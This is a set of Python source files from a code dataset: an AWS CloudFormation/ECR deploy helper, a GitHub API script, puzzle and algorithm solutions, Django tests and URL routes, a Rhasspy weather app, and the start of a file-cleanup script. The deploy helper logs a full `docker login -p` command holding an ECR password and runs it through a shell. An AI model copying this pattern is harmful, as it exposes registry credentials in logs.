_log.info(json.dumps(changes, sort_keys=True, indent=4, separators=(',', ': ')))\n\n if self._prompt_user('update'):\n prev_event = cf_client.describe_stack_events(StackName=self.stack_name)['StackEvents'][0]['EventId']\n\n cf_client.execute_change_set(\n ChangeSetName=self.stack_change_set_name,\n StackName=self.stack_name,\n )\n\n self._log_stack_status(prev_event=prev_event)\n\n def _get_stack_call_params(self, initial):\n return dict(\n StackName=self.stack_name,\n TemplateURL='https://s3.amazonaws.com/{b}/{k}'.format(\n b=self.revolio_config['Bucket'],\n k=self.template_key,\n ),\n Parameters=[\n {\n 'ParameterKey': k,\n 'ParameterValue': v,\n } if v is not UNCHANGED_PARAM else {\n 'ParameterKey': k,\n 'UsePreviousValue': True,\n }\n for k, v in self.get_stack_parameters(initial).items()\n ],\n Tags=[\n {'Key': k, 'Value': v}\n for k, v in self.stack_tags.items()\n ],\n Capabilities=['CAPABILITY_IAM'],\n )\n\n def _log_stack_status(self, *, prev_event=None):\n while True:\n time.sleep(5)\n\n # self.stack.execute_actions()\n\n new_events = self._get_new_events(self.stack_name, prev_event=prev_event)\n if not new_events:\n continue\n\n prev_event = new_events[-1]['EventId']\n for e in new_events:\n msg = '{resource} | {status}'.format(\n resource=e['LogicalResourceId'],\n status=e['ResourceStatus'],\n )\n\n reason = e.get('ResourceStatusReason')\n if reason is not None:\n msg += ' | {}'.format(reason)\n\n _log.info(msg)\n\n if self._stack_is_stable(self.stack_name):\n break\n\n def _stack_is_stable(self, stack_name):\n status = cf_client.describe_stacks(StackName=stack_name)['Stacks'][0]['StackStatus']\n return status in ['UPDATE_COMPLETE', 'ROLLBACK_COMPLETE', 'UPDATE_ROLLBACK_COMPLETE']\n\n def _get_new_events(self, stack_name, *, prev_event=None):\n return list(reversed(list(itertools.takewhile(\n lambda e: e['EventId'] != prev_event,\n itertools.chain.from_iterable(map(\n lambda r: r['StackEvents'],\n cf_client.get_paginator('describe_stack_events').paginate(StackName=stack_name))\n )\n ))))\n\n def _prompt_user(self, action=None):\n while True:\n key = ''.join(random.choice(string.ascii_lowercase) for _ in range(5))\n\n msg = f'Type \"{key}\" to confirm'\n if action is not None:\n msg = ' '.join([msg, action])\n\n value = click.prompt(msg, type=str)\n\n if value == key:\n return True\n elif value == '':\n return False\n\n _log.warning('Invalid confirmation value')\n\n def _get_change_set_changes(self):\n while True:\n r = cf_client.describe_change_set(\n ChangeSetName=self.stack_change_set_name,\n StackName=self.stack_name,\n )\n status = r['Status']\n if status != 'CREATE_COMPLETE':\n _log.info(f'Change set status: {status}')\n time.sleep(5)\n continue\n\n break\n\n changes = r['Changes']\n while 'NextToken' in r:\n r = cf_client.describe_change_set(\n ChangeSetName=self.stack_change_set_name,\n StackName=self.stack_name,\n NextToken=r['NextToken'],\n )\n changes.extend(r['Changes'])\n\n return changes\n\n\ndef _generate_db_password():\n char_set = string.ascii_uppercase + string.ascii_lowercase + string.digits\n return ''.join(random.SystemRandom().choice(char_set) for _ in range(32))\n\n\ndef _push(tag, dm_name):\n repo_account_id = tag.split('.', 1)[0]\n username, password, registry = _get_ecr_credentials(repo_account_id)\n _execute_commands(\n # f'docker-machine start {dm_name}',\n # f'eval $(docker-machine env {dm_name})',\n f'docker login -u {username} -p {password} {registry}',\n f'docker push {tag}',\n )\n\n\ndef _get_ecr_credentials(repo_account_id):\n ecr_client = boto3.client('ecr') # _get_ecr_client()\n response = ecr_client.get_authorization_token(\n registryIds=[repo_account_id],\n )\n auth_data = response['authorizationData'][0]\n\n token = base64.b64decode(auth_data['authorizationToken']).decode(\"utf-8\")\n username, password = token.split(':')\n endpoint = auth_data['proxyEndpoint'][len('https://'):]\n return username, password, endpoint\n\n\ndef _execute_commands(*commands):\n command = '; '.join(commands)\n _log.info(command)\n\n proc = subprocess.Popen(\n command,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n shell=True,\n )\n\n while True:\n status = proc.stdout.readline().decode('utf-8').rstrip('\\n')\n if not status:\n break\n\n _log.info(status)\n","repo_name":"BenBlaisdell/revolio","sub_path":"src/revolio/manager/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":12473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10860104954","text":"\"\"\"\nGet and print list of repos with number of commits in each repo, from username\n\"\"\"\nimport requests\n\n\ndef getReposList(username):\n resp = requests.get('https://api.github.com/users/' + username + '/repos')\n respJson = resp.json()\n return respJson\n\n\ndef getCommitsList(username, repoName):\n resp = requests.get('https://api.github.com/repos/' + username + '/' + repoName + '/commits')\n respJson = resp.json()\n print(respJson)\n return respJson\n\n\ndef listReposWithCounts(username):\n result = \"\"\n repos = getReposList(username)\n for repo in repos:\n count = len(getCommitsList(username, repo['name']))\n result += \"Repo: \" + repo['name'] + \" Number of commits: \" + str(count) + \"\\n\"\n print(\"Repo: \" + repo['name'] + \" Number of commits: \" + str(count))\n return result\n\n\n#listReposWithCounts(\"aej11a\")\n","repo_name":"aej11a/Github567","sub_path":"GithubApp.py","file_name":"GithubApp.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71049044091","text":"n=int(input())\n\nl=1\nwhile l <= 2*n+1:\n l*=2\n\na=[0]*l\nb=[0]*l\n\nfor i in range(n):\n a[i+1],b[i+1]=list(map(int,input().split(' ')))\n\nimport numpy as np\n\nc=np.fft.fft(a)\nd=np.fft.fft(b)\n\ne=c*d\n\nf=np.fft.ifft(e)\n\n\nfor i in range(1,2*n+1):\n print(int(np.real(f[i])+0.1))\n","repo_name":"ayanamizuta/cpro","sub_path":"atcoder/typical/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15895093689","text":"#!/bin/python3\n\nimport sys, itertools\n\ndef factor(num):\n return [(i, num // i) for i in range(1, int(num**0.5)+1) if num % i == 0]\n\ndef GetProducts(n):\n return [''.join(list(map(str, num))) for num in itertools.permutations(range(1,10), r=n)]\n\ndef IsPandigital(numStr, n):\n if len(numStr) != n:\n return False\n \n for i in range(1, n+1):\n if str(i) not in numStr:\n return False\n \n return True\n \n \n\ndef Solve(n):\n sum_pandigital = 0\n products = list()\n \n for i in range(1, (n//2)+1):\n products += GetProducts(i)\n \n for product in products:\n number = int(product)\n factor_pairs = factor(number)\n \n for pair in factor_pairs:\n pairStr = str(pair[0]) + str(pair[1])\n \n if IsPandigital(product+pairStr, n):\n sum_pandigital += int(product)\n break\n return sum_pandigital\n# print(Solve(4))\n\n# print(IsPandigital('159372684', 9))\n\nn = int(input().strip())\nprint(Solve(n))","repo_name":"anandawira/HackerrankProjects","sub_path":"Euler/Project Euler #32: Pandigital products.py","file_name":"Project Euler #32: Pandigital products.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29164661935","text":"import shutil\nimport tempfile\nfrom http import HTTPStatus\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import Client, TestCase, override_settings\nfrom django.urls import reverse\n\nfrom ..forms import PostForm\nfrom ..models import Group, Post\n\nUser = get_user_model()\n\nTEMP_MEDIA_ROOT = tempfile.mkdtemp(dir=settings.BASE_DIR)\n\n\n@override_settings(MEDIA_ROOT=TEMP_MEDIA_ROOT)\nclass PostFormTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.form = PostForm()\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n shutil.rmtree(TEMP_MEDIA_ROOT, ignore_errors=True)\n\n def setUp(self):\n self.guest_client = Client()\n\n def setUp(self):\n self.guest_client = Client()\n self.user = User.objects.create_user(username=\"auth\")\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n self.group = Group.objects.create(\n title=\"Тестовая группа\",\n slug=\"test-slug\",\n description=\"Тестовое описание\",\n )\n\n def test_create_post(self):\n \"\"\"Тестирование создания поста.\"\"\"\n posts_count = Post.objects.count()\n small_gif = (\n b\"\\x47\\x49\\x46\\x38\\x39\\x61\\x02\\x00\"\n b\"\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\"\n b\"\\xFF\\xFF\\xFF\\x21\\xF9\\x04\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00\"\n b\"\\x02\\x00\\x01\\x00\\x00\\x02\\x02\\x0C\"\n b\"\\x0A\\x00\\x3B\"\n )\n uploaded = SimpleUploadedFile(\n name=\"small.gif\", content=small_gif, content_type=\"image/gif\"\n )\n form_data = {\n \"group\": self.group.id,\n \"text\": \"Текст записанный в форму\",\n \"image\": uploaded,\n }\n response = self.authorized_client.post(\n reverse(\"posts:post_create\"), data=form_data, follow=True\n )\n self.assertRedirects(\n response,\n reverse(\"posts:profile\", kwargs={\"username\": self.user.username}),\n )\n self.assertEqual(response.status_code, HTTPStatus.OK)\n self.assertTrue(\n Post.objects.filter(\n text=\"Текст записанный в форму\",\n group=self.group.id,\n author=self.user,\n ).exists()\n )\n self.assertEqual(Post.objects.count(), posts_count + 1)\n\n def test_edit_post(self):\n \"\"\"Тестирование редактирования поста.\"\"\"\n small_gif = (\n b\"\\x47\\x49\\x46\\x38\\x39\\x61\\x02\\x00\"\n b\"\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\"\n b\"\\xFF\\xFF\\xFF\\x21\\xF9\\x04\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00\"\n b\"\\x02\\x00\\x01\\x00\\x00\\x02\\x02\\x0C\"\n b\"\\x0A\\x00\\x3B\"\n )\n uploaded = SimpleUploadedFile(\n name=\"2small.gif\", content=small_gif, content_type=\"image/gif\"\n )\n self.post = Post.objects.create(\n text=\"Тестовый текст\", author=self.user, group=self.group\n )\n old_text = self.post\n self.group2 = Group.objects.create(\n title=\"Тестовая группа2\", slug=\"test-group\", description=\"Описание\"\n )\n form_data = {\n \"text\": \"Текст записанный в форму\",\n \"group\": self.group2.id,\n \"image\": uploaded,\n }\n response = self.authorized_client.post(\n reverse(\"posts:post_edit\", kwargs={\"post_id\": old_text.id}),\n data=form_data,\n follow=True,\n )\n self.assertEqual(response.status_code, HTTPStatus.OK)\n error_name1 = \"Данные поста не совпадают\"\n self.assertTrue(\n Post.objects.filter(\n group=self.group2.id,\n author=self.user,\n pub_date=self.post.pub_date,\n ).exists(),\n error_name1,\n )\n self.assertNotEqual(old_text.text, form_data[\"text\"])\n self.assertNotEqual(old_text.group, form_data[\"group\"])\n self.assertTrue(Post.objects.filter(image=\"posts/2small.gif\").exists())\n\n def test_group_null(self):\n \"\"\"Проверка что группу можно не указывать.\"\"\"\n self.post = Post.objects.create(\n text=\"Тестовый текст\", author=self.user, group=self.group\n )\n old_text = self.post\n form_data = {\"text\": \"Текст записанный в форму\", \"group\": \"\"}\n response = self.authorized_client.post(\n reverse(\"posts:post_edit\", kwargs={\"post_id\": old_text.id}),\n data=form_data,\n follow=True,\n )\n self.assertEqual(response.status_code, HTTPStatus.OK)\n self.assertNotEqual(old_text.group, form_data[\"group\"])\n\n def test_reddirect_guest_client(self):\n \"\"\"Проверка редиректа неавторизованного пользователя.\"\"\"\n self.post = Post.objects.create(\n text=\"Тестовый текст\", author=self.user, group=self.group\n )\n form_data = {\"text\": \"Текст записанный в форму\"}\n response = self.guest_client.post(\n reverse(\"posts:post_edit\", kwargs={\"post_id\": self.post.id}),\n data=form_data,\n follow=True,\n )\n self.assertEqual(response.status_code, HTTPStatus.OK)\n self.assertRedirects(\n response, f\"/auth/login/?next=/posts/{self.post.id}/edit/\"\n )\n\n def test_edit_post_forbidden_for_no_auth_user(self):\n \"\"\"Проверка запрета редактирования не авторизованного пользователя.\"\"\"\n posts_count = Post.objects.count()\n form_data = {\n \"text\": \"Текст записанный в форму\",\n \"group\": self.group.id,\n }\n response = self.guest_client.post(\n reverse(\"posts:post_create\"), data=form_data, follow=True\n )\n self.assertEqual(response.status_code, HTTPStatus.OK)\n self.assertNotEqual(Post.objects.count(), posts_count + 1)\n","repo_name":"atsterq/Django-tests","sub_path":"yatube/posts/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":6402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2172263127","text":"\"\"\"Example app to react to an intent to tell you the time.\"\"\"\nimport random\nimport logging\nfrom datetime import datetime\nimport os\n\nfrom pyowm import OWM\nfrom pyowm.commons.exceptions import PyOWMError\nfrom pyowm.utils import config\nfrom pyowm.utils import timestamps\nfrom rhasspyhermes.intent import Slot\n\nfrom rhasspyhermes.nlu import NluIntent\nfrom rhasspyhermes_app import EndSession, HermesApp\n\n_LOGGER = logging.getLogger(\"WeatherApp\")\n\nhost=os.getenv(\"MQTT_HOST\", \"localhost\")\nport=int(os.getenv(\"MQTT_PORT\", \"1883\"))\nusername=os.getenv(\"MQTT_USERNAME\")\npassword=os.getenv(\"MQTT_PASSWORD\")\n\nowm_key=os.getenv(\"OWM_KEY\")\nowm_default_geolocation=os.getenv(\"OWM_DEFAULT_GEOLOCATION\", \"52.5065133,13.1445612\")\n\napp = HermesApp(\"WeatherApp\", host=host, port=port, username=username, password=password)\n\nconfig_dict = config.get_default_config()\nconfig_dict['language'] = 'de'\n\nowm = OWM(owm_key, config_dict)\nmgr = owm.weather_manager()\ncity_id_registry = owm.city_id_registry()\n\ndef get_slot(intent: NluIntent, slot_name: str, default=None):\n \"\"\"extracts the value of a slot\"\"\"\n\n slot = next(filter(lambda slot: slot.slot_name == slot_name, intent.slots), None)\n if slot:\n return (slot.value.get(\"value\", default), slot.raw_value)\n return default, None\n\n@app.on_intent(\"GetTemperature\")\nasync def get_temperature_intent(intent: NluIntent):\n \"\"\"Tell the temperature.\"\"\"\n\n raw_geolocation, raw_value = get_slot(intent, \"geolocation\", owm_default_geolocation)\n geolocation = raw_geolocation.split(\",\")\n\n poi = raw_value.title() if raw_value else \"Default Location\"\n\n _LOGGER.info(f\"GetTemperature: {poi} ({geolocation})\")\n\n try:\n \n weather = mgr.one_call(lat=float(geolocation[0]), lon=float(geolocation[1]))\n temperature_forecast = weather.forecast_daily[0].temperature('celsius')\n temperature = weather.current.temperature('celsius')\n\n _LOGGER.info(\"Temperature: %s\", temperature)\n\n temp_current = round(temperature.get(\"temp\"))\n temp_max = round(temperature_forecast.get(\"max\", -999))\n temp_min = round(temperature_forecast.get(\"min\", -999))\n temp_feels_like = round(temperature.get(\"feels_like\", -999))\n\n text_temp = f\"In {poi} beträgt die Temperatur aktuell {temp_current} °C.\" if raw_geolocation != owm_default_geolocation else f\"Aktuell sind es {temp_current} °C.\"\n\n if temp_feels_like != -999 and temp_feels_like != temp_current:\n text_temp += f\" Es fühlt sich an wie {temp_feels_like} °C.\"\n\n if temp_min != -999 and temp_min != temp_current:\n text_temp += f\" Die Tiefsttemperatur beträgt {temp_min} °C.\"\n\n if temp_max != -999 and temp_max != temp_current:\n text_temp += f\" Die Höchsttemperatur beträgt {temp_max} °C.\"\n\n return EndSession(text_temp)\n except PyOWMError as e:\n _LOGGER.exception(\"Could not get current temperature.\", exc_info=e)\n\n return EndSession(f\"Etwas ist schiefgelaufen.\")\n\ndef relative_date_to_str(relative_date: int) -> str:\n \"\"\"Convert a relative date to a human readable text.\"\"\"\n\n mapping = {\n -2: \"vorgestern\",\n -1: \"gestern\",\n 0: \"heute\",\n 1: \"morgen\",\n 2: \"übermorgen\"\n }\n\n return mapping.get(relative_date, f\"vor {relative_date} Tagen\" if relative_date < 0 else f\"In {relative_date} Tagen\")\n\ndef relative_time_to_str(relative_time: int) -> str:\n \"\"\"Convert a relative time to a human readable text.\"\"\"\n\n mapping = {\n 0: \"nacht\",\n 6: \"früh\",\n 9: \"morgen\",\n 11: \"vormittag\",\n 12: \"mittag\",\n 15: \"nachmittag\",\n 18: \"abend\",\n 22: \"spät\"\n }\n\n return mapping.get(relative_time, f\"um {relative_time}:00 Uhr\")\n\n\n@app.on_intent(\"GetWeatherForecast\")\nasync def get_weather_intent(intent: NluIntent):\n \"\"\"Tell the weather.\"\"\"\n\n # In H betr temp momentan 3 bei bew himmel. heute nacht höchstwahrscheinlich regenschauer bei tiefst 1 grad\n # Hier ist der Wetterb für morgen in HE höchstwahr gibt es Schnee bei einer Höchsttemperatur von 4 und Tiefsttemperat von 2\n # Sonntag 1C und wechselnd bewölkt usw...\n # Morgen gibt es in Hamburg vereinzelte Schauer bei Temperaturen zwischen 2 und 4 Grad.\n # Morgen wird es in Berlin schneien bei Temperat...\n\n # In {poi} beträgt die Temperatur {temp} °C bei {condition}. Heute Nacht höchstwahrscheinlich {condition_forecast_night} bei einer Tiefsttemperatur von {} °C.\n \n # Hier ist der Wetterbericht für \n\n raw_geolocation, raw_value = get_slot(intent, \"geolocation\", owm_default_geolocation)\n geolocation = raw_geolocation.split(\",\")\n\n relative_time, _ = get_slot(intent, \"relative_time\")\n relative_date, _ = get_slot(intent, \"relative_date\")\n absolute_date, _ = get_slot(intent, \"absolute_date\")\n\n poi = raw_value.title() if raw_value else \"Default Location\"\n\n _LOGGER.info(f\"GetWeatherForecast: {poi} ({geolocation})\")\n\n try:\n \n weather = mgr.one_call(lat=float(geolocation[0]), lon=float(geolocation[1]))\n\n forecast_data = weather.forecast_daily[0]\n\n if relative_date:\n rel = int(relative_date)\n\n if rel < 0:\n return EndSession(random.choice([\"Ich kann leider keine historischen Wetterberichte abrufen.\", \"Historische Wetterberichte werden zurzeit nicht unterstützt.\", \"Wetterdaten aus der Vergangenheit sind aktuell nicht verfügbar.\"]))\n elif rel > 6:\n return EndSession(random.choice([\"Wetterdaten sind nur bis maximal 7 Tage in der Zukunft verfügbar.\", \"Der Wetterbericht kann nur für maximal eine Woche im Voraus abgefragt werden.\"]))\n\n forecast_data = weather.forecast_daily[rel]\n\n\n temperature = forecast_data.temperature('celsius')\n\n _LOGGER.info(\"Temperature: %s\", temperature)\n\n condition = forecast_data.detailed_status\n temp_current = round(temperature.get(\"day\"))\n temp_max = round(temperature.get(\"max\", -999))\n temp_min = round(temperature.get(\"min\", -999))\n temp_feels_like = round(temperature.get(\"feels_like_day\", -999))\n\n\n\n is_default_location = raw_geolocation == owm_default_geolocation\n\n\n if relative_date:\n poi_data = f\" in {poi}\" if not is_default_location else \"\"\n text_temp = f\"Wetter {relative_date_to_str(int(relative_date))}{poi_data}: {condition} bei Temperaturen zwischen {temp_min} und {temp_max} Grad.\"\n\n else:\n poi_data = f\"In {poi} ist es {condition.lower()}\" if not is_default_location else condition\n text_temp = f\"{poi_data} bei aktuell {temp_current} Grad. Es fühlt sich an wie {temp_feels_like} Grad.\"\n\n if temp_min != -999 and temp_min != temp_current:\n text_temp += f\" Die Tiefsttemperatur beträgt {temp_min} Grad.\"\n\n if temp_max != -999 and temp_max != temp_current:\n text_temp += f\" Die Höchsttemperatur beträgt {temp_max} Grad.\"\n\n return EndSession(text_temp)\n except PyOWMError as e:\n _LOGGER.exception(\"Could not get current temperature.\", exc_info=e)\n\n return EndSession(f\"Etwas ist schiefgelaufen.\")\n\n_LOGGER.info(f\"Starting app {app.client_name}.\")\napp.run()","repo_name":"vigonotion/smarthome","sub_path":"rhasspy/apps/rhasspy-app-weather/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25527354289","text":"from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView\nfrom django.urls import path\nfrom . import apis\n\napp_name = \"careerguide\"\n\n\nurlpatterns = [\n # API\" root view ulr path\n path(\"\", apis.APIRootView.as_view(), name=\"APIRoot\"),\n\n # Authentication url endpoints.\n path('auth/token/signin/', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n path('auth/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n\n # app user urls path\n path(\"profiles/\", apis.ProfileViewSet.as_view({\"get\": \"list\"}), name=\"profile-list\"),\n path(\"profiles/create/\", apis.ProfileViewSet.as_view({\"post\": \"create\"}), name=\"profile-create\"),\n path(\"profiles/<uuid:id>/\", apis.ProfileViewSet.as_view({\"get\": \"retrieve\"}), name=\"profile-detail\"),\n path(\"profiles/<uuid:id>/update/\", apis.ProfileViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"profile-update\"),\n path(\"profiles/<uuid:id>/delete/\", apis.ProfileViewSet.as_view({\"delete\": \"destroy\"}), name=\"profile-delete\"),\n\n # staff urls path\n path(\"staffs/\", apis.StaffViewSet.as_view({\"get\": \"list\"}), name=\"staff-list\"),\n path(\"staffs/create/\", apis.StaffViewSet.as_view({\"post\": \"create\"}), name=\"staff-create\"),\n path(\"staffs/me/\", apis.StaffViewSet.as_view({\"get\": \"retrieve\"}), name=\"staff-detail\"),\n path(\"staffs/me/update/\", apis.StaffViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"staff-update\"),\n path(\"staffs/me/delete/\", apis.StaffViewSet.as_view({\"delete\": \"destroy\"}), name=\"staff-delete\"),\n\n # staff schedule urls\n path(\"staffs/me/schedules/\", apis.ScheduleViewSet.as_view({\"get\": \"list\"}), name=\"staff-schedule-list\"),\n path(\"staffs/me/schedules/create/\", apis.ScheduleViewSet.as_view({\"post\": \"create\"}), name=\"staff-schedule-create\"),\n path(\"staffs/me/schedules/<int:id>/\", apis.ScheduleViewSet.as_view({\"get\": \"retrieve\"}), name=\"staff-schedule-detail\"),\n path(\"staffs/me/schedules/<int:id>/update/\", apis.ScheduleViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"staff-schedule-update\"),\n path(\"staffs/me/schedules/<int:id>/delete/\", apis.ScheduleViewSet.as_view({\"delete\": \"destroy\"}), name=\"staff-schedule-delete\"),\n \n # staffs questionnaire urls path\n path(\"staffs/me/questionnaires/\", apis.QuestionnaireViewSet.as_view({\"get\": \"list\"}), name=\"staff-questionnaire-list\"),\n path(\"staffs/me/questionnaires/create/\", apis.QuestionnaireViewSet.as_view({\"post\": \"create\"}), name=\"staff-questionnaire-create\"),\n path(\"staffs/me/questionnaires/<int:id>/\", apis.QuestionnaireViewSet.as_view({\"get\": \"retrieve\"}), name=\"staff-questionnaire-detail\"),\n path(\"staffs/me/questionnaires/<int:id>/update/\", apis.QuestionnaireViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"staff-questionnaire-update\"),\n path(\"staffs/me/questionnaires/<int:id>/delete/\", apis.QuestionnaireViewSet.as_view({\"delete\": \"destroy\"}), name=\"staff-questionnaire-delete\"),\n\n # questions url\n path(\"questions/\", apis.QuestionViewSet.as_view({\"get\": \"list\"}), name=\"questions-list\"),\n path(\"questions/create/\", apis.QuestionViewSet.as_view({\"post\": \"create\"}), name=\"questions-create\"),\n path(\"questions/<int:id>/\", apis.QuestionViewSet.as_view({\"get\": \"retrieve\"}), name=\"questions-detail\"),\n path(\"questions/<int:id>/update/\", apis.QuestionViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"questions-update\"),\n path(\"questions/<int:id>/delete/\", apis.QuestionViewSet.as_view({\"delete\": \"destroy\"}), name=\"questions-delete\"),\n\n # student urls path\n path(\"students/\", apis.StudentViewSet.as_view({\"get\": \"list\"}), name=\"student-list\"),\n path(\"students/create/\", apis.StudentViewSet.as_view({\"post\": \"create\"}), name=\"student-create\"),\n path(\"students/<str:department>/<str:level>/<str:reg_no>/\", apis.StudentViewSet.as_view({\"get\": \"retrieve\"}), name=\"student-detail\"),\n path(\"students/<str:department>/<str:level>/<str:reg_no>/update/\", apis.StudentViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"student-update\"),\n path(\"students/<str:department>/<str:level>/<str:reg_no>/delete/\", apis.StudentViewSet.as_view({\"delete\": \"destroy\"}), name=\"student-delete\"),\n\n # # students observations urls path\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/observations/\", apis.ObservationViewSet.as_view({\"get\": \"list\"}), name=\"students-observation-list\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/observations/create/\", apis.ObservationViewSet.as_view({\"post\": \"create\"}), name=\"students-observation-create\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/observations/<int:id>/\", apis.ObservationViewSet.as_view({\"get\": \"retrieve\"}), name=\"students-observation-detail\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/observations/<int:id>/update/\", apis.ObservationViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"students-observation-update\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/observations/<int:id>/delete/\", apis.ObservationViewSet.as_view({\"delete\": \"destroy\"}), name=\"students-observation-delete\"),\n\n # # students result urls path\n # path(\"students/results/\", apis.ResultViewSet.as_view({\"get\": \"list\"}), name=\"students-result-list\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/results/\", apis.ResultViewSet.as_view({\"get\": \"retrieve\"}), name=\"students-result-detail\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/results/create/\", apis.ResultViewSet.as_view({\"post\": \"create\"}), name=\"students-result-create\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/results/update/\", apis.ResultViewSet.as_view({\"put\": \"update\", \"patch\": \"update\"}), name=\"students-result-update\"),\n # path(\"students/<str:department>/<str:level>/<str:reg_no>/results/delete/\", apis.ResultViewSet.as_view({\"delete\": \"destroy\"}), name=\"students-result-delete\"),\n\n]\n","repo_name":"realestKMA/cgims","sub_path":"backend/careerguide/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"33295587334","text":"from collections import deque\r\nfrom typing import List\r\n\r\nclass MaxFlowDinic():\r\n\r\n def __init__(self, n: int):\r\n self.n: int = n\r\n self.G: List[List[List[int]]] = [[] for _ in range(n)]\r\n\r\n def add_edge(self, u: int, v: int, w: int) -> None:\r\n assert 0 <= u < self.n, f'Indexerror'\r\n assert 0 <= v < self.n, f'Indexerror'\r\n G_u = len(self.G[u])\r\n G_v = len(self.G[v])\r\n self.G[u].append([v, w, G_v])\r\n self.G[v].append([u, 0, G_u])\r\n\r\n def _bfs(self, s: int) -> None:\r\n level = [-1] * self.n\r\n dq = deque([s])\r\n level[s] = 0\r\n while dq:\r\n v = dq.popleft()\r\n for x, w, _ in self.G[v]:\r\n if w > 0 and level[x] == -1:\r\n level[x] = level[v] + 1\r\n dq.append(x)\r\n self.level = level\r\n\r\n def _dfs(self, v: int, g: int, f: int) -> int:\r\n if v == g:\r\n return f\r\n for i in range(self.it[v], len(self.G[v])):\r\n self.it[v] += 1\r\n x, w, rev = self.G[v][i]\r\n if w > 0 and self.level[v] < self.level[x]:\r\n fv = self._dfs(x, g, min(f, w))\r\n if fv > 0:\r\n self.G[v][i][1] -= fv\r\n self.G[x][rev][1] += fv\r\n return fv\r\n return 0\r\n\r\n def max_flow(self, s: int, g: int, INF: int=10**18) -> int:\r\n assert 0 <= s < self.n, f'Indexerror'\r\n assert 0 <= g < self.n, f'Indexerror'\r\n ans = 0\r\n while True:\r\n self._bfs(s)\r\n if self.level[g] < 0:\r\n break\r\n self.it = [0] * self.n\r\n while True:\r\n f = self._dfs(s, g, INF)\r\n if f == 0:\r\n break\r\n ans += f\r\n return ans\r\n\r\n","repo_name":"titanium-22/Library_py","sub_path":"Graph/MaxFlow/MaxFlowDinic.py","file_name":"MaxFlowDinic.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"25843668640","text":"import os\r\nimport sys\r\nimport shutil\r\nimport datetime as dt\r\nfrom datetime import datetime\r\n\r\n\"\"\"Cleanup old files and folders\r\n\r\nThis script is made to remove files and folders, older then a specified amount of days.\r\nJust provide a path and optional arguments, to clean your folders.\r\n\r\n# Usage\r\n$ python3 cleanup.py [OPTIONS] PATH\r\n\r\nHint: You may use this script as cron script. Just set it to run once a day, per path.\r\n\r\n# Options\r\n --dryrun Show what files and/or folders would be deleted without deleting them. (Default: False)\r\n --files(=Yes|No) Remove files. You may use this option without a value to activate file removing\r\n or use \"Yes\" to activate or \"No\" to deactivate file removing. (Default: Yes)\r\n --files_after=NUM Max age of files in days, when they will be removed. (Default: 30)\r\n --folders(=Yes|No) Remove folders. You may use this option without a value to activate folder removing\r\n or use \"Yes\" to activate or \"No\" to deactivate folder removing. (Default: No)\r\n --folders_after=NUM Max age of folders in days, when they will be removed. (Default: 10)\r\n\r\n\r\nAuthor: Ralph Dittrich <dittrich.ralph@lupuscoding.de>\r\nVersion: 1.0.0\r\n\"\"\"\r\n\r\ndef get_time_before(days=30):\r\n \"\"\"Get datetime before x days\r\n\r\n :param days: Days before today\r\n :type days: int\r\n :return: datetime object for today - x days\r\n :rtype: datetime\r\n \"\"\"\r\n dtn = datetime.now()\r\n dstr = str(dtn.year) + '-' + str(dtn.month) + '-' + str(dtn.day) + ' 23:59:59'\r\n rm_dt = datetime.strptime(dstr, \"%Y-%m-%d %H:%M:%S\")\r\n rm_dt += dt.timedelta(days=(days*-1))\r\n return rm_dt\r\n\r\ndef get_files_by_path(path):\r\n \"\"\"Get files by path\r\n\r\n :param path: Path to files\r\n :type path: str\r\n :return: List of file names\r\n :rtype: list\r\n \"\"\"\r\n apath = os.path.abspath(path)\r\n rpath, subdirs, files = next(os.walk(apath))\r\n 